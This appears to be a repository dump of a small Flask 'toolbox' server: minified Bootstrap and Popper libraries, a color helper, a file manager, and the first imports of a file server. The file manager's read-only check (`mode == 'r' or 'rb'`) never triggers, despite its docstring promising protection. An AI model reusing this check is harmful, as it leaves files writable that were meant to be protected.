e=o.default.Event("hidden.bs.tab",{relatedTarget:t._element}),i=o.default.Event("shown.bs.tab",{relatedTarget:n});o.default(n).trigger(e),o.default(t._element).trigger(i)};e?this._activate(e,e.parentNode,u):u()}}},e.dispose=function(){o.default.removeData(this._element,"bs.tab"),this._element=null},e._activate=function(t,e,n){var i=this,a=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?o.default(e).children(".active"):o.default(e).find("> li > .active"))[0],s=n&&a&&o.default(a).hasClass("fade"),l=function(){return i._transitionComplete(t,a,n)};if(a&&s){var r=d.getTransitionDurationFromElement(a);o.default(a).removeClass("show").one(d.TRANSITION_END,l).emulateTransitionEnd(r)}else l()},e._transitionComplete=function(t,e,n){if(e){o.default(e).removeClass("active");var i=o.default(e.parentNode).find("> .dropdown-menu .active")[0];i&&o.default(i).removeClass("active"),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(o.default(t).addClass("active"),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),d.reflow(t),t.classList.contains("fade")&&t.classList.add("show"),t.parentNode&&o.default(t.parentNode).hasClass("dropdown-menu")){var a=o.default(t).closest(".dropdown")[0];if(a){var s=[].slice.call(a.querySelectorAll(".dropdown-toggle"));o.default(s).addClass("active")}t.setAttribute("aria-expanded",!0)}n&&n()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.tab");if(i||(i=new t(this),n.data("bs.tab",i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}}]),t}();o.default(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',(function(t){t.preventDefault(),ft._jQueryInterface.call(o.default(this),"show")})),o.default.fn.tab=ft._jQueryInterface,o.default.fn.tab.Constructor=ft,o.default.fn.tab.noConflict=function(){return o.default.fn.tab=dt,ft._jQueryInterface};var ct=o.default.fn.toast,ht={animation:"boolean",autohide:"boolean",delay:"number"},gt={animation:!0,autohide:!0,delay:500},mt=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var e=t.prototype;return e.show=function(){var t=this,e=o.default.Event("show.bs.toast");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");var n=function(){t._element.classList.remove("showing"),t._element.classList.add("show"),o.default(t._element).trigger("shown.bs.toast"),t._config.autohide&&(t._timeout=setTimeout((function(){t.hide()}),t._config.delay))};if(this._element.classList.remove("hide"),d.reflow(this._element),this._element.classList.add("showing"),this._config.animation){var i=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,n).emulateTransitionEnd(i)}else n()}},e.hide=function(){if(this._element.classList.contains("show")){var t=o.default.Event("hide.bs.toast");o.default(this._element).trigger(t),t.isDefaultPrevented()||this._close()}},e.dispose=function(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),o.default(this._element).off("click.dismiss.bs.toast"),o.default.removeData(this._element,"bs.toast"),this._element=null,this._config=null},e._getConfig=function(t){return t=r({},gt,o.default(this._element).data(),"object"==typeof t&&t?t:{}),d.typeCheckConfig("toast",t,this.constructor.DefaultType),t},e._setListeners=function(){var t=this;o.default(this._element).on("click.dismiss.bs.toast",'[data-dismiss="toast"]',(function(){return t.hide()}))},e._close=function(){var t=this,e=function(){t._element.classList.add("hide"),o.default(t._element).trigger("hidden.bs.toast")};if(this._element.classList.remove("show"),this._config.animation){var n=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,e).emulateTransitionEnd(n)}else e()},e._clearTimeout=function(){clearTimeout(this._timeout),this._timeout=null},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.toast");if(i||(i=new t(this,"object"==typeof e&&e),n.data("bs.toast",i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e](this)}}))},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"DefaultType",get:function(){return ht}},{key:"Default",get:function(){return gt}}]),t}();o.default.fn.toast=mt._jQueryInterface,o.default.fn.toast.Constructor=mt,o.default.fn.toast.noConflict=function(){return o.default.fn.toast=ct,mt._jQueryInterface},t.Alert=h,t.Button=m,t.Carousel=w,t.Collapse=D,t.Dropdown=x,t.Modal=q,t.Popover=ot,t.Scrollspy=ut,t.Tab=ft,t.Toast=mt,t.Tooltip=J,t.Util=d,Object.defineProperty(t,"__esModule",{value:!0})}));
7 | //# sourceMappingURL=bootstrap.min.js.map


--------------------------------------------------------------------------------
/toolbox/server/assets/popper-1.16.1.min.js:
--------------------------------------------------------------------------------
1 | /*
2 |  Copyright (C) Federico Zivolo 2020
3 |  Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
4 |  */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=e.ownerDocument.defaultView,n=o.getComputedStyle(e,null);return t?n[t]:n}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll|overlay)/.test(r+s+p)?e:n(o(e))}function i(e){return e&&e.referenceNode?e.referenceNode:e}function r(e){return 11===e?re:10===e?pe:re||pe}function p(e){if(!e)return document.documentElement;for(var o=r(10)?document.body:null,n=e.offsetParent||null;n===o&&e.nextElementSibling;)n=(e=e.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TH','TD','TABLE'].indexOf(n.nodeName)&&'static'===t(n,'position')?p(n):n:e?e.ownerDocument.documentElement:document.documentElement}function s(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||p(e.firstElementChild)===e)}function d(e){return null===e.parentNode?e:d(e.parentNode)}function a(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,n=o?e:t,i=o?t:e,r=document.createRange();r.setStart(n,0),r.setEnd(i,0);var l=r.commonAncestorContainer;if(e!==l&&t!==l||n.contains(i))return s(l)?l:p(l);var f=d(e);return f.host?a(f.host,t):a(e,d(t).host)}function l(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:'top',o='top'===t?'scrollTop':'scrollLeft',n=e.nodeName;if('BODY'===n||'HTML'===n){var i=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||i;return r[o]}return e[o]}function f(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],n=l(t,'top'),i=l(t,'left'),r=o?-1:1;return e.top+=n*r,e.bottom+=n*r,e.left+=i*r,e.right+=i*r,e}function m(e,t){var o='x'===t?'Left':'Top',n='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'])+parseFloat(e['border'+n+'Width'])}function h(e,t,o,n){return ee(t['offset'+e],t['scroll'+e],o['client'+e],o['offset'+e],o['scroll'+e],r(10)?parseInt(o['offset'+e])+parseInt(n['margin'+('Height'===e?'Top':'Left')])+parseInt(n['margin'+('Height'===e?'Bottom':'Right')]):0)}function c(e){var t=e.body,o=e.documentElement,n=r(10)&&getComputedStyle(o);return{height:h('Height',t,o,n),width:h('Width',t,o,n)}}function g(e){return le({},e,{right:e.left+e.width,bottom:e.top+e.height})}function u(e){var o={};try{if(r(10)){o=e.getBoundingClientRect();var n=l(e,'top'),i=l(e,'left');o.top+=n,o.left+=i,o.bottom+=n,o.right+=i}else o=e.getBoundingClientRect()}catch(t){}var p={left:o.left,top:o.top,width:o.right-o.left,height:o.bottom-o.top},s='HTML'===e.nodeName?c(e.ownerDocument):{},d=s.width||e.clientWidth||p.width,a=s.height||e.clientHeight||p.height,f=e.offsetWidth-d,h=e.offsetHeight-a;if(f||h){var u=t(e);f-=m(u,'x'),h-=m(u,'y'),p.width-=f,p.height-=h}return g(p)}function b(e,o){var i=2<arguments.length&&void 0!==arguments[2]&&arguments[2],p=r(10),s='HTML'===o.nodeName,d=u(e),a=u(o),l=n(e),m=t(o),h=parseFloat(m.borderTopWidth),c=parseFloat(m.borderLeftWidth);i&&s&&(a.top=ee(a.top,0),a.left=ee(a.left,0));var b=g({top:d.top-a.top-h,left:d.left-a.left-c,width:d.width,height:d.height});if(b.marginTop=0,b.marginLeft=0,!p&&s){var w=parseFloat(m.marginTop),y=parseFloat(m.marginLeft);b.top-=h-w,b.bottom-=h-w,b.left-=c-y,b.right-=c-y,b.marginTop=w,b.marginLeft=y}return(p&&!i?o.contains(l):o===l&&'BODY'!==l.nodeName)&&(b=f(b,o)),b}function w(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],o=e.ownerDocument.documentElement,n=b(e,o),i=ee(o.clientWidth,window.innerWidth||0),r=ee(o.clientHeight,window.innerHeight||0),p=t?0:l(o),s=t?0:l(o,'left'),d={top:p-n.top+n.marginTop,left:s-n.left+n.marginLeft,width:i,height:r};return g(d)}function y(e){var n=e.nodeName;if('BODY'===n||'HTML'===n)return!1;if('fixed'===t(e,'position'))return!0;var i=o(e);return!!i&&y(i)}function E(e){if(!e||!e.parentElement||r())return document.documentElement;for(var o=e.parentElement;o&&'none'===t(o,'transform');)o=o.parentElement;return o||document.documentElement}function v(e,t,r,p){var s=4<arguments.length&&void 0!==arguments[4]&&arguments[4],d={top:0,left:0},l=s?E(e):a(e,i(t));if('viewport'===p)d=w(l,s);else{var f;'scrollParent'===p?(f=n(o(t)),'BODY'===f.nodeName&&(f=e.ownerDocument.documentElement)):'window'===p?f=e.ownerDocument.documentElement:f=p;var m=b(f,l,s);if('HTML'===f.nodeName&&!y(l)){var h=c(e.ownerDocument),g=h.height,u=h.width;d.top+=m.top-m.marginTop,d.bottom=g+m.top,d.left+=m.left-m.marginLeft,d.right=u+m.left}else d=m}r=r||0;var v='number'==typeof r;return d.left+=v?r:r.left||0,d.top+=v?r:r.top||0,d.right-=v?r:r.right||0,d.bottom-=v?r:r.bottom||0,d}function x(e){var t=e.width,o=e.height;return t*o}function O(e,t,o,n,i){var r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===e.indexOf('auto'))return e;var p=v(o,n,r,i),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return le({key:e},s[e],{area:x(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,n=e.height;return t>=o.clientWidth&&n>=o.clientHeight}),l=0<a.length?a[0].key:d[0].key,f=e.split('-')[1];return l+(f?'-'+f:'')}function L(e,t,o){var n=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null,r=n?E(t):a(t,i(o));return b(o,r,n)}function S(e){var t=e.ownerDocument.defaultView,o=t.getComputedStyle(e),n=parseFloat(o.marginTop||0)+parseFloat(o.marginBottom||0),i=parseFloat(o.marginLeft||0)+parseFloat(o.marginRight||0),r={width:e.offsetWidth+i,height:e.offsetHeight+n};return r}function T(e){var t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left|right|bottom|top/g,function(e){return t[e]})}function C(e,t,o){o=o.split('-')[0];var n=S(e),i={width:n.width,height:n.height},r=-1!==['right','left'].indexOf(o),p=r?'top':'left',s=r?'left':'top',d=r?'height':'width',a=r?'width':'height';return i[p]=t[p]+t[d]/2-n[d]/2,i[s]=o===s?t[s]-n[a]:t[T(s)],i}function D(e,t){return Array.prototype.find?e.find(t):e.filter(t)[0]}function N(e,t,o){if(Array.prototype.findIndex)return e.findIndex(function(e){return e[t]===o});var n=D(e,function(e){return e[t]===o});return e.indexOf(n)}function P(t,o,n){var i=void 0===n?t:t.slice(0,N(t,'name',n));return i.forEach(function(t){t['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var n=t['function']||t.fn;t.enabled&&e(n)&&(o.offsets.popper=g(o.offsets.popper),o.offsets.reference=g(o.offsets.reference),o=n(o,t))}),o}function k(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};e.offsets.reference=L(this.state,this.popper,this.reference,this.options.positionFixed),e.placement=O(this.options.placement,e.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),e.originalPlacement=e.placement,e.positionFixed=this.options.positionFixed,e.offsets.popper=C(this.popper,e.offsets.reference,e.placement),e.offsets.popper.position=this.options.positionFixed?'fixed':'absolute',e=P(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function W(e,t){return e.some(function(e){var o=e.name,n=e.enabled;return n&&o===t})}function B(e){for(var t=[!1,'ms','Webkit','Moz','O'],o=e.charAt(0).toUpperCase()+e.slice(1),n=0;n<t.length;n++){var i=t[n],r=i?''+i+o:e;if('undefined'!=typeof document.body.style[r])return r}return null}function H(){return this.state.isDestroyed=!0,W(this.modifiers,'applyStyle')&&(this.popper.removeAttribute('x-placement'),this.popper.style.position='',this.popper.style.top='',this.popper.style.left='',this.popper.style.right='',this.popper.style.bottom='',this.popper.style.willChange='',this.popper.style[B('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function A(e){var t=e.ownerDocument;return t?t.defaultView:window}function M(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r||M(n(p.parentNode),t,o,i),i.push(p)}function F(e,t,o,i){o.updateBound=i,A(e).addEventListener('resize',o.updateBound,{passive:!0});var r=n(e);return M(r,'scroll',o.updateBound,o.scrollParents),o.scrollElement=r,o.eventsEnabled=!0,o}function I(){this.state.eventsEnabled||(this.state=F(this.reference,this.options,this.state,this.scheduleUpdate))}function R(e,t){return A(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function U(){this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=R(this.reference,this.state))}function Y(e){return''!==e&&!isNaN(parseFloat(e))&&isFinite(e)}function V(e,t){Object.keys(t).forEach(function(o){var n='';-1!==['width','height','top','right','bottom','left'].indexOf(o)&&Y(t[o])&&(n='px'),e.style[o]=t[o]+n})}function j(e,t){Object.keys(t).forEach(function(o){var n=t[o];!1===n?e.removeAttribute(o):e.setAttribute(o,t[o])})}function q(e,t){var o=e.offsets,n=o.popper,i=o.reference,r=$,p=function(e){return e},s=r(i.width),d=r(n.width),a=-1!==['left','right'].indexOf(e.placement),l=-1!==e.placement.indexOf('-'),f=t?a||l||s%2==d%2?r:Z:p,m=t?r:p;return{left:f(1==s%2&&1==d%2&&!l&&t?n.left-1:n.left),top:m(n.top),bottom:m(n.bottom),right:f(n.right)}}function K(e,t,o){var n=D(e,function(e){var o=e.name;return o===t}),i=!!n&&e.some(function(e){return e.name===o&&e.enabled&&e.order<n.order});if(!i){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return i}function z(e){return'end'===e?'start':'start'===e?'end':e}function G(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],o=he.indexOf(e),n=he.slice(o+1).concat(he.slice(0,o));return t?n.reverse():n}function _(e,t,o,n){var i=e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),r=+i[1],p=i[2];if(!r)return e;if(0===p.indexOf('%')){var s;switch(p){case'%p':s=o;break;case'%':case'%r':default:s=n;}var d=g(s);return d[t]/100*r}if('vh'===p||'vw'===p){var a;return a='vh'===p?ee(document.documentElement.clientHeight,window.innerHeight||0):ee(document.documentElement.clientWidth,window.innerWidth||0),a/100*r}return r}function X(e,t,o,n){var i=[0,0],r=-1!==['right','left'].indexOf(n),p=e.split(/(\+|\-)/).map(function(e){return e.trim()}),s=p.indexOf(D(p,function(e){return-1!==e.search(/,|\s/)}));p[s]&&-1===p[s].indexOf(',')&&console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');var d=/\s*,\s*|\s+/,a=-1===s?[p]:[p.slice(0,s).concat([p[s].split(d)[0]]),[p[s].split(d)[1]].concat(p.slice(s+1))];return a=a.map(function(e,n){var i=(1===n?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return _(e,i,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,n){Y(o)&&(i[t]+=o*('-'===e[n-1]?-1:1))})}),i}function J(e,t){var o,n=t.offset,i=e.placement,r=e.offsets,p=r.popper,s=r.reference,d=i.split('-')[0];return o=Y(+n)?[+n,0]:X(n,p,s,d),'left'===d?(p.top+=o[0],p.left-=o[1]):'right'===d?(p.top+=o[0],p.left+=o[1]):'top'===d?(p.left+=o[0],p.top-=o[1]):'bottom'===d&&(p.left+=o[0],p.top+=o[1]),e.popper=p,e}var Q=Math.min,Z=Math.floor,$=Math.round,ee=Math.max,te='undefined'!=typeof window&&'undefined'!=typeof document&&'undefined'!=typeof navigator,oe=function(){for(var e=['Edge','Trident','Firefox'],t=0;t<e.length;t+=1)if(te&&0<=navigator.userAgent.indexOf(e[t]))return 1;return 0}(),ne=te&&window.Promise,ie=ne?function(e){var t=!1;return function(){t||(t=!0,window.Promise.resolve().then(function(){t=!1,e()}))}}:function(e){var t=!1;return function(){t||(t=!0,setTimeout(function(){t=!1,e()},oe))}},re=te&&!!(window.MSInputMethodContext&&document.documentMode),pe=te&&/MSIE 10/.test(navigator.userAgent),se=function(e,t){if(!(e instanceof t))throw new TypeError('Cannot call a class as a function')},de=function(){function e(e,t){for(var o,n=0;n<t.length;n++)o=t[n],o.enumerable=o.enumerable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,n){return o&&e(t.prototype,o),n&&e(t,n),t}}(),ae=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},le=Object.assign||function(e){for(var t,o=1;o<arguments.length;o++)for(var n in t=arguments[o],t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},fe=te&&/Firefox/i.test(navigator.userAgent),me=['auto-start','auto','auto-end','top-start','top','top-end','right-start','right','right-end','bottom-end','bottom','bottom-start','left-end','left','left-start'],he=me.slice(3),ce={FLIP:'flip',CLOCKWISE:'clockwise',COUNTERCLOCKWISE:'counterclockwise'},ge=function(){function t(o,n){var i=this,r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};se(this,t),this.scheduleUpdate=function(){return requestAnimationFrame(i.update)},this.update=ie(this.update.bind(this)),this.options=le({},t.Defaults,r),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=o&&o.jquery?o[0]:o,this.popper=n&&n.jquery?n[0]:n,this.options.modifiers={},Object.keys(le({},t.Defaults.modifiers,r.modifiers)).forEach(function(e){i.options.modifiers[e]=le({},t.Defaults.modifiers[e]||{},r.modifiers?r.modifiers[e]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(e){return le({name:e},i.options.modifiers[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onLoad)&&t.onLoad(i.reference,i.popper,i.options,t,i.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enableEventListeners(),this.state.eventsEnabled=p}return de(t,[{key:'update',value:function(){return k.call(this)}},{key:'destroy',value:function(){return H.call(this)}},{key:'enableEventListeners',value:function(){return I.call(this)}},{key:'disableEventListeners',value:function(){return U.call(this)}}]),t}();return ge.Utils=('undefined'==typeof window?global:window).PopperUtils,ge.placements=me,ge.Defaults={placement:'bottom',positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(e){var t=e.placement,o=t.split('-')[0],n=t.split('-')[1];if(n){var i=e.offsets,r=i.reference,p=i.popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',l={start:ae({},d,r[d]),end:ae({},d,r[d]+r[a]-p[a])};e.offsets.popper=le({},p,l[n])}return e}},offset:{order:200,enabled:!0,fn:J,offset:0},preventOverflow:{order:300,enabled:!0,fn:function(e,t){var o=t.boundariesElement||p(e.instance.popper);e.instance.reference===o&&(o=p(o));var n=B('transform'),i=e.instance.popper.style,r=i.top,s=i.left,d=i[n];i.top='',i.left='',i[n]='';var a=v(e.instance.popper,e.instance.reference,t.padding,o,e.positionFixed);i.top=r,i.left=s,i[n]=d,t.boundaries=a;var l=t.priority,f=e.offsets.popper,m={primary:function(e){var o=f[e];return f[e]<a[e]&&!t.escapeWithReference&&(o=ee(f[e],a[e])),ae({},e,o)},secondary:function(e){var o='right'===e?'left':'top',n=f[o];return f[e]>a[e]&&!t.escapeWithReference&&(n=Q(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Z,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]<r(n[d])&&(e.offsets.popper[d]=r(n[d])-o[a]),o[d]>r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!K(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-u<s[m]&&(e.offsets.popper[m]-=s[m]-(d[c]-u)),d[m]+u>s[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f]),E=parseFloat(w['border'+f+'Width']),v=b-e.offsets.popper[m]-y-E;return v=ee(Q(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,$(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case ce.FLIP:p=[n,i];break;case ce.CLOCKWISE:p=G(n);break;case ce.COUNTERCLOCKWISE:p=G(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=Z,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)<f(l.right)||'top'===n&&f(a.bottom)>f(l.top)||'bottom'===n&&f(a.top)<f(l.bottom),h=f(a.left)<f(o.left),c=f(a.right)>f(o.right),g=f(a.top)<f(o.top),u=f(a.bottom)>f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,w=-1!==['top','bottom'].indexOf(n),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u),E=!!t.flipVariationsByContent&&(w&&'start'===r&&c||w&&'end'===r&&h||!w&&'start'===r&&u||!w&&'end'===r&&g),v=y||E;(m||b||v)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),v&&(r=z(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,C(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport',flipVariations:!1,flipVariationsByContent:!1},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!K(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=D(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottom<o.top||t.left>o.right||t.top>o.bottom||t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}},computeStyle:{order:850,enabled:!0,fn:function(e,t){var o=t.x,n=t.y,i=e.offsets.popper,r=D(e.instance.modifiers,function(e){return'applyStyle'===e.name}).gpuAcceleration;void 0!==r&&console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');var s,d,a=void 0===r?t.gpuAcceleration:r,l=p(e.instance.popper),f=u(l),m={position:i.position},h=q(e,2>window.devicePixelRatio||!fe),c='bottom'===o?'top':'bottom',g='right'===n?'left':'right',b=B('transform');if(d='bottom'==c?'HTML'===l.nodeName?-l.clientHeight+h.bottom:-f.height+h.bottom:h.top,s='right'==g?'HTML'===l.nodeName?-l.clientWidth+h.right:-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[g]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==g?-1:1;m[c]=d*w,m[g]=s*y,m.willChange=c+', '+g}var E={"x-placement":e.placement};return e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ge});
5 | //# sourceMappingURL=popper.min.js.map
6 | 


--------------------------------------------------------------------------------
/toolbox/server/color.py:
--------------------------------------------------------------------------------
1 | class Color:
2 |     @classmethod
3 |     def green(self, s: str) -> str:
4 |         return f"\033[32m{s}\x1b[0m"
5 | 


--------------------------------------------------------------------------------
/toolbox/server/file_manager.py:
--------------------------------------------------------------------------------
 1 | from contextlib import contextmanager
 2 | from pathlib import Path
 3 | 
 4 | 
 5 | class InvalidFilePath(Exception):
 6 |     pass
 7 | 
 8 | 
 9 | class InvalidFilePermissions(Exception):
10 |     pass
11 | 
12 | 
13 | class FileManager:
14 |     """
15 |     A file manager that can read and write files. Ensures that no
16 |     arbitrary reads or writes can happen to anywhere other than
17 |     the intended paths. All file interactions should happen via
18 |     an instance of this object.
19 |     """
20 | 
21 |     def __init__(self, root_user_directory: Path, root_toolbox_directory: Path):
22 |         self.root_user_directory = Path(root_user_directory)
23 |         self.root_toolbox_directory = Path(root_toolbox_directory)
24 | 
25 |     @contextmanager
26 |     def open_user_file(self, path, mode):
27 |         if not self.is_allowed_user_file_path(path):
28 |             raise InvalidFilePath
29 | 
30 |         with open(path, mode) as f:
31 |             yield f
32 | 
33 |     @contextmanager
34 |     def open_toolbox_file(self, path, mode="r"):
35 |         if not self.is_allowed_toolbox_file_path(path):
36 |             raise InvalidFilePath
37 | 
38 |         if not (mode == "r" or "rb"):
39 |             raise InvalidFilePermissions
40 | 
41 |         with open(path, mode) as f:
42 |             yield f
43 | 
44 |     def is_allowed_user_file_path(self, local_path):
45 |         return (
46 |             self.root_user_directory in local_path.resolve().parents
47 |             or self.root_user_directory == local_path
48 |         )
49 | 
50 |     def is_allowed_toolbox_file_path(self, local_path):
51 |         return (
52 |             self.root_toolbox_directory in local_path.resolve().parents
53 |             or self.root_toolbox_directory == local_path
54 |         )
55 | 


--------------------------------------------------------------------------------
/toolbox/server/file_server.py:
--------------------------------------------------------------------------------
  1 | from flask import (
  2 |     Blueprint,
  3 |     Flask,
  4 |     render_template,
  5 |     make_response,
  6 |     app,
  7 |     current_app,
  8 |     request,
  9 |     redirect,
 10 |     url_for,
 11 | )
 12 | from dataclasses import dataclass
 13 | from pathlib import Path
 14 | from typing import Optional
 15 | import json
 16 | from pathlib import Path
 17 | from typing import List, Mapping, Union
 18 | from .payload_generator import PayloadGenerator
 19 | from .file_manager import FileManager
